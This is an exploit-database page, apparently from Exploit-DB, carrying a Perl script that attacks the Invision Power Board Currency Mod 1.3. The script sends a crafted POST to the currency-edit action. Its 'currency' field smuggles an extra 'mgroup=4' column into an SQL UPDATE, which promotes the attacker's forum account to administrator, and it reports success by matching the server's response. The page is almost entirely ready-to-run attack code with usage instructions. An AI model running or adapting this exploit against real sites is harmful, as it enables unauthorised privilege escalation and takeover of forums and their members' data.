Invision Power Board Currency Mod(edit) SQL injection
# Title: Invision Power Board Currency Mod(edit) SQL injection
# EDB-ID: 11702
# CVE-ID: ()
# OSVDB-ID: ()
# Author: Pr0T3cT10n
# Published: 2010-03-12
# Verified: no
# Download Exploit Code
# Download N/A
view sourceprint?# Exploit Title: Invision Power Board Currency Mod(edit) SQL injection
# Date: 17/04/2007
# Author: Pr0T3cT10n
# Software Link: www.invisionpower.com
# Version: 1.3
# Tested on: 1.3
# CVE:
# Code:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 | #!/usr/bin/perl ######################################################################### # Invision Power Board Currency Mod(edit) SQL injection. # # Bug found by Pr0T3cT10n, pr0t3ct10n@gmail.com<mailto:pr0t3ct10n@gmail.com> # # The exploit is updating your user to an admin account # # **YOU SHOULD HAVE CURRENCY EDIT ACCESS!** # ######################################################################### use IO::Socket; use Digest::MD5 qw(md5_hex); $host = $ARGV[0]; $path = $ARGV[1]; $id = $ARGV[2]; $passwd = $ARGV[3]; if(!$ARGV[3]) { print "#################################################\n"; print "## IPB Currency Mod SQL injection Exploit. ##\n"; print "## Discoverd By Pr0T3cT10n. ##\n"; print "#################################################\n"; print "$0 [host] [path] [your id] [your passowrd]\n"; print "$0 host.com /forum 567 123456\n"; print "#################################################\n"; exit(); } print "[~] Connecting $host:80...\n"; $socket = IO::Socket::INET->new( Proto => "tcp" , PeerAddr => $host , PeerPort => "80") or die("[-] Connection faild.\n"); print "[+] Connected.\n[~] Sending POST information...\n"; $pack.= "POST " . $path . "/index.php?act=modcp&CODE=docurrencyedit&memberid=" . $id . " HTTP/1.1\r\n"; $pack.= "Host: " . $host . "\r\n"; $pack.= "User-Agent: No_Agent\r\n"; $pack.= "Accept: */*\r\n"; $pack.= "Cookie: member_id=" .$id. "; pass_hash=" .md5_hex($passwd). "\r\n"; $pack.= "Keep-Alive: 300\r\n"; $pack.= "Connection: keep-alive\r\n"; $pack.= "Content-Type: application/x-www-form-urlencoded\r\n"; $pack.= "Content-Length: 24\r\n\r\n"; $pack.= "currency=1%20%2Cmgroup=4"; #UPDATE ibf_members SET currency=1 ,mgroup=4 WHERE id='$id' print $socket $pack; while($res = <$socket>) { if($res =~ /<table align='center' cellpadding="4" class="tablefill">/) { print("[+] succeed.\n"); exit(); } } print("[-] Faild.\n"); exit(); |